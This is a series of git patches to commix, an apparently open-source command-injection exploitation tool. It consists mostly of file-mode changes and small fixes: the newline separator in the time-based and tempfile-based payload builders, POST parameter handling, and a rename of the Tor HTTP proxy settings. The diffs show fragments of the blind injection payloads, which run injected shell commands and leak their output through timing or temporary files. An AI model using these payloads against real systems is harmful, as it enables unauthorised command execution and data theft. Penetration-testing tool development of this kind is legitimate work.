src/core/requests/__init__.py | 0
src/core/requests/authentication.py | 0
src/core/requests/proxy.py | 0
src/core/requests/tor.py | 0
src/core/shells/__init__.py | 0
src/core/tamper/__init__.py | 0
src/core/tamper/backslashes.py | 0
src/core/tamper/backticks.py | 0
src/core/tamper/base64encode.py | 0
src/core/tamper/caret.py | 0
src/core/tamper/dollaratsigns.py | 0
src/core/tamper/doublequotes.py | 0
src/core/tamper/hexencode.py | 0
src/core/tamper/multiplespaces.py | 0
src/core/tamper/nested.py | 0
src/core/tamper/singlequotes.py | 0
src/core/tamper/slash2env.py | 0
src/core/tamper/sleep2timeout.py | 0
src/core/tamper/sleep2usleep.py | 0
src/core/tamper/space2htab.py | 0
src/core/tamper/space2ifs.py | 0
src/core/tamper/space2plus.py | 0
src/core/tamper/space2vtab.py | 0
src/core/tamper/uninitializedvariable.py | 0
src/core/tamper/xforwardedfor.py | 0
src/core/testing.py | 0
src/thirdparty/__init__.py | 0
src/thirdparty/beautifulsoup/__init__.py | 0
src/thirdparty/beautifulsoup/beautifulsoup.py | 0
src/thirdparty/colorama/__init__.py | 0
src/thirdparty/colorama/ansi.py | 0
src/thirdparty/colorama/ansitowin32.py | 0
src/thirdparty/colorama/initialise.py | 0
src/thirdparty/colorama/win32.py | 0
src/thirdparty/colorama/winterm.py | 0
src/thirdparty/flatten_json/__init__.py | 0
src/thirdparty/flatten_json/flatten_json.py | 0
src/thirdparty/odict/__init__.py | 0
src/thirdparty/six/__init__.py | 0
src/txt/passwords_john.txt | 0
src/txt/shocker-cgi_list.txt | 0
src/txt/usernames.txt | 0
src/utils/__init__.py | 0
src/utils/colors.py | 0
src/utils/common.py | 0
src/utils/crawler.py | 0
src/utils/install.py | 0
src/utils/purge.py | 0
src/utils/requirments.py | 0
src/utils/sgmllib.py | 0
src/utils/simple_http_server.py | 0
src/utils/version.py | 0
82 files changed, 0 insertions(+), 0 deletions(-)
mode change 100755 => 100644 COMMITMENT.txt
mode change 100755 => 100644 LICENSE.txt
mode change 100755 => 100644 README.md
mode change 100755 => 100644 doc/AUTHOR
mode change 100755 => 100644 doc/translations/README-gr-GR.md
mode change 100755 => 100644 setup.py
mode change 100755 => 100644 src/__init__.py
mode change 100755 => 100644 src/core/__init__.py
mode change 100755 => 100644 src/core/compat.py
mode change 100755 => 100644 src/core/convert.py
mode change 100755 => 100644 src/core/injections/__init__.py
mode change 100755 => 100644 src/core/injections/blind/__init__.py
mode change 100755 => 100644 src/core/injections/blind/techniques/__init__.py
mode change 100755 => 100644 src/core/injections/blind/techniques/time_based/__init__.py
mode change 100755 => 100644 src/core/injections/controller/__init__.py
mode change 100755 => 100644 src/core/injections/controller/controller.py
mode change 100755 => 100644 src/core/injections/results_based/__init__.py
mode change 100755 => 100644 src/core/injections/results_based/techniques/__init__.py
mode change 100755 => 100644 src/core/injections/results_based/techniques/classic/__init__.py
mode change 100755 => 100644 src/core/injections/results_based/techniques/eval_based/__init__.py
mode change 100755 => 100644 src/core/injections/semiblind/__init__.py
mode change 100755 => 100644 src/core/injections/semiblind/techniques/__init__.py
mode change 100755 => 100644 src/core/injections/semiblind/techniques/file_based/__init__.py
mode change 100755 => 100644 src/core/injections/semiblind/techniques/tempfile_based/__init__.py
mode change 100755 => 100644 src/core/main.py
mode change 100755 => 100644 src/core/modules/__init__.py
mode change 100755 => 100644 src/core/modules/dns_exfiltration/__init__.py
mode change 100755 => 100644 src/core/modules/icmp_exfiltration/__init__.py
mode change 100755 => 100644 src/core/modules/modules_handler.py
mode change 100755 => 100644 src/core/modules/shellshock/__init__.py
mode change 100755 => 100644 src/core/requests/__init__.py
mode change 100755 => 100644 src/core/requests/authentication.py
mode change 100755 => 100644 src/core/requests/proxy.py
mode change 100755 => 100644 src/core/requests/tor.py
mode change 100755 => 100644 src/core/shells/__init__.py
mode change 100755 => 100644 src/core/tamper/__init__.py
mode change 100755 => 100644 src/core/tamper/backslashes.py
mode change 100755 => 100644 src/core/tamper/backticks.py
mode change 100755 => 100644 src/core/tamper/base64encode.py
mode change 100755 => 100644 src/core/tamper/caret.py
mode change 100755 => 100644 src/core/tamper/dollaratsigns.py
mode change 100755 => 100644 src/core/tamper/doublequotes.py
mode change 100755 => 100644 src/core/tamper/hexencode.py
mode change 100755 => 100644 src/core/tamper/multiplespaces.py
mode change 100755 => 100644 src/core/tamper/nested.py
mode change 100755 => 100644 src/core/tamper/singlequotes.py
mode change 100755 => 100644 src/core/tamper/slash2env.py
mode change 100755 => 100644 src/core/tamper/sleep2timeout.py
mode change 100755 => 100644 src/core/tamper/sleep2usleep.py
mode change 100755 => 100644 src/core/tamper/space2htab.py
mode change 100755 => 100644 src/core/tamper/space2ifs.py
mode change 100755 => 100644 src/core/tamper/space2plus.py
mode change 100755 => 100644 src/core/tamper/space2vtab.py
mode change 100755 => 100644 src/core/tamper/uninitializedvariable.py
mode change 100755 => 100644 src/core/tamper/xforwardedfor.py
mode change 100755 => 100644 src/core/testing.py
mode change 100755 => 100644 src/thirdparty/__init__.py
mode change 100755 => 100644 src/thirdparty/beautifulsoup/__init__.py
mode change 100755 => 100644 src/thirdparty/beautifulsoup/beautifulsoup.py
mode change 100755 => 100644 src/thirdparty/colorama/__init__.py
mode change 100755 => 100644 src/thirdparty/colorama/ansi.py
mode change 100755 => 100644 src/thirdparty/colorama/ansitowin32.py
mode change 100755 => 100644 src/thirdparty/colorama/initialise.py
mode change 100755 => 100644 src/thirdparty/colorama/win32.py
mode change 100755 => 100644 src/thirdparty/colorama/winterm.py
mode change 100755 => 100644 src/thirdparty/flatten_json/__init__.py
mode change 100755 => 100644 src/thirdparty/flatten_json/flatten_json.py
mode change 100755 => 100644 src/thirdparty/odict/__init__.py
mode change 100755 => 100644 src/thirdparty/six/__init__.py
mode change 100755 => 100644 src/txt/passwords_john.txt
mode change 100755 => 100644 src/txt/shocker-cgi_list.txt
mode change 100755 => 100644 src/txt/usernames.txt
mode change 100755 => 100644 src/utils/__init__.py
mode change 100755 => 100644 src/utils/colors.py
mode change 100755 => 100644 src/utils/common.py
mode change 100755 => 100644 src/utils/crawler.py
mode change 100755 => 100644 src/utils/install.py
mode change 100755 => 100644 src/utils/purge.py
mode change 100755 => 100644 src/utils/requirments.py
mode change 100755 => 100644 src/utils/sgmllib.py
mode change 100755 => 100644 src/utils/simple_http_server.py
mode change 100755 => 100644 src/utils/version.py
diff --git a/COMMITMENT.txt b/COMMITMENT.txt
old mode 100755
new mode 100644
diff --git a/LICENSE.txt b/LICENSE.txt
old mode 100755
new mode 100644
diff --git a/README.md b/README.md
old mode 100755
new mode 100644
diff --git a/doc/AUTHOR b/doc/AUTHOR
old mode 100755
new mode 100644
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
old mode 100755
new mode 100644
diff --git a/setup.py b/setup.py
old mode 100755
new mode 100644
diff --git a/src/__init__.py b/src/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/__init__.py b/src/core/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/compat.py b/src/core/compat.py
old mode 100755
new mode 100644
diff --git a/src/core/convert.py b/src/core/convert.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/main.py b/src/core/main.py
old mode 100755
new mode 100644
diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py
old mode 100755
new mode 100644
diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py
old mode 100755
new mode 100644
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
old mode 100755
new mode 100644
diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py
old mode 100755
new mode 100644
diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py
old mode 100755
new mode 100644
diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py
old mode 100755
new mode 100644
diff --git a/src/core/testing.py b/src/core/testing.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/colorama/__init__.py b/src/thirdparty/colorama/__init__.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/colorama/initialise.py b/src/thirdparty/colorama/initialise.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/colorama/win32.py b/src/thirdparty/colorama/win32.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/colorama/winterm.py b/src/thirdparty/colorama/winterm.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py
old mode 100755
new mode 100644
diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py
old mode 100755
new mode 100644
diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt
old mode 100755
new mode 100644
diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt
old mode 100755
new mode 100644
diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt
old mode 100755
new mode 100644
diff --git a/src/utils/__init__.py b/src/utils/__init__.py
old mode 100755
new mode 100644
diff --git a/src/utils/colors.py b/src/utils/colors.py
old mode 100755
new mode 100644
diff --git a/src/utils/common.py b/src/utils/common.py
old mode 100755
new mode 100644
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
old mode 100755
new mode 100644
diff --git a/src/utils/install.py b/src/utils/install.py
old mode 100755
new mode 100644
diff --git a/src/utils/purge.py b/src/utils/purge.py
old mode 100755
new mode 100644
diff --git a/src/utils/requirments.py b/src/utils/requirments.py
old mode 100755
new mode 100644
diff --git a/src/utils/sgmllib.py b/src/utils/sgmllib.py
old mode 100755
new mode 100644
diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py
old mode 100755
new mode 100644
diff --git a/src/utils/version.py b/src/utils/version.py
old mode 100755
new mode 100644
From ef9ae8ef18a9dd043f822a3e7e5d28b37cf7c401 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 17 Jan 2022 09:32:45 +0200
Subject: [PATCH 051/560] Fixes
https://github.com/commixproject/commix/issues/730
---
.../blind/techniques/time_based/tb_payloads.py | 16 ++++++++--------
.../techniques/tempfile_based/tfb_payloads.py | 16 ++++++++--------
src/utils/settings.py | 2 +-
3 files changed, 17 insertions(+), 17 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index e2a27a57c4..5dab6f2186 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -56,7 +56,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(echo " + TAG + ")" + separator +
# Find the length of the output.
@@ -132,7 +132,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
# Find the length of the output, using readline().
"str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator +
@@ -210,7 +210,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=\"$(echo $(" + cmd + "))\"" + separator +
# Find the length of the output.
@@ -284,7 +284,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
# Find the length of the output, using readline().
"str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator +
@@ -363,7 +363,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
# Grab the execution output.
"cmd=\"$(echo $(" + cmd + "))\"" + separator +
@@ -445,7 +445,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " != ${str} ]" + separator +
@@ -519,7 +519,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=\"$(" + cmd + ")\"" + separator +
"if [ " + str(ascii_char) + " != $str ]" + separator +
@@ -587,7 +587,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator +
"if [ " + str(ascii_char) + " != ${str} ]" + separator +
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 538f2a37dd..0a6b6f38d0 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -64,7 +64,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
@@ -146,7 +146,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
@@ -253,7 +253,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
"echo $str > " + OUTPUT_TEXTFILE + separator +
@@ -349,7 +349,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
@@ -429,7 +429,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
# Use space as delimiter
"str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
@@ -504,7 +504,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " != ${str} ]" + separator +
@@ -579,7 +579,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
"if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator +
@@ -647,7 +647,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
)
elif separator == "%0a" :
- separator = "\n"
+ #separator = "\n"
payload = (separator +
"str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " != ${str} ]" + separator +
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 73691b84fc..fd75942e6c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "46"
+REVISION = "47"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 11e46151331f333e6da93dc5cd426b6b34d726fc Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 18 Jan 2022 07:41:33 +0200
Subject: [PATCH 052/560] Fixes
https://github.com/commixproject/commix/issues/732
---
.../injections/blind/techniques/time_based/tb_injector.py | 2 +-
.../semiblind/techniques/file_based/fb_injector.py | 5 ++++-
src/utils/settings.py | 2 +-
3 files changed, 6 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index d0c8dc64a6..069a8a8c97 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -54,7 +54,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
request = _urllib.request.Request(target)
# Check if defined method is POST.
- else :
+ else:
parameter = menu.options.data
parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 242f3469b9..1eda1e4e04 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -201,12 +201,15 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht
# Get the response of the request
response = requests.get_request_response(request)
- else :
+ else:
# Check if defined method is POST.
parameter = menu.options.data
parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
+ parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
+ # Define the vulnerable parameter
+ vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fd75942e6c..7fb0c2fd69 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "47"
+REVISION = "48"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 896788996f621f5826a3bc174bf77735f0271359 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 19 Jan 2022 20:02:57 +0200
Subject: [PATCH 053/560] Fixes
https://github.com/commixproject/commix/issues/731 (TOR HTTP Proxy)
---
src/core/requests/requests.py | 10 ++++----
src/core/requests/tor.py | 47 ++++++++++++++---------------------
src/utils/settings.py | 9 ++++---
3 files changed, 28 insertions(+), 38 deletions(-)
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index ee1f89e857..f0063bdb21 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -410,7 +410,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy):
# Check if defined Tor.
elif menu.options.tor:
try:
- proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT})
+ proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_cookie(url, vuln_parameter, payload, proxy)
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
@@ -542,7 +542,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy):
# Check if defined Tor.
elif menu.options.tor:
try:
- proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT})
+ proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_user_agent(url, vuln_parameter, payload, proxy)
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
@@ -674,7 +674,7 @@ def inject_referer(url, vuln_parameter, payload, proxy):
# Check if defined Tor.
elif menu.options.tor:
try:
- proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT})
+ proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_referer(url, vuln_parameter, payload, proxy)
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
@@ -809,7 +809,7 @@ def inject_host(url, vuln_parameter, payload, proxy):
# Check if defined Tor.
elif menu.options.tor:
try:
- proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT})
+ proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_host(url, vuln_parameter, payload, proxy)
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
@@ -944,7 +944,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
# Check if defined Tor.
elif menu.options.tor:
try:
- proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + settings.PRIVOXY_PORT})
+ proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT})
response = inject_custom_header(url, vuln_parameter, payload, proxy)
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py
index b26c6eff63..b4c7473177 100644
--- a/src/core/requests/tor.py
+++ b/src/core/requests/tor.py
@@ -22,45 +22,33 @@
from src.utils import requirments
from src.thirdparty.colorama import Fore, Back, Style, init
-"""
-Check for TOR HTTP Proxy.
-"""
+
if menu.options.tor_port:
- PRIVOXY_PORT = menu.options.tor_port
+ TOR_HTTP_PROXY_PORT = menu.options.tor_port
else:
- PRIVOXY_PORT = settings.PRIVOXY_PORT
+ TOR_HTTP_PROXY_PORT = settings.TOR_HTTP_PROXY_PORT
"""
-Check if HTTP Proxy (tor/privoxy) is defined.
+Check if Tor HTTP proxy is defined.
"""
-def do_check():
-
- # Check if 'tor' is installed.
- requirment = "tor"
- requirments.do_check(requirment)
-
- # Check if 'privoxy' is installed.
- requirment = "privoxy"
- requirments.do_check(requirment)
-
- check_privoxy_proxy = True
- info_msg = "Testing Tor SOCKS proxy settings ("
- info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT
+def do_check():
+ check_tor_http_proxy = True
+ info_msg = "Testing Tor HTTP proxy settings ("
+ info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT
info_msg += "). "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
- privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT})
- opener = _urllib.request.build_opener(privoxy_proxy)
+ tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT})
+ opener = _urllib.request.build_opener(tor_http_proxy)
_urllib.request.install_opener(opener)
except:
- check_privoxy_proxy = False
+ check_tor_http_proxy = False
pass
- if check_privoxy_proxy:
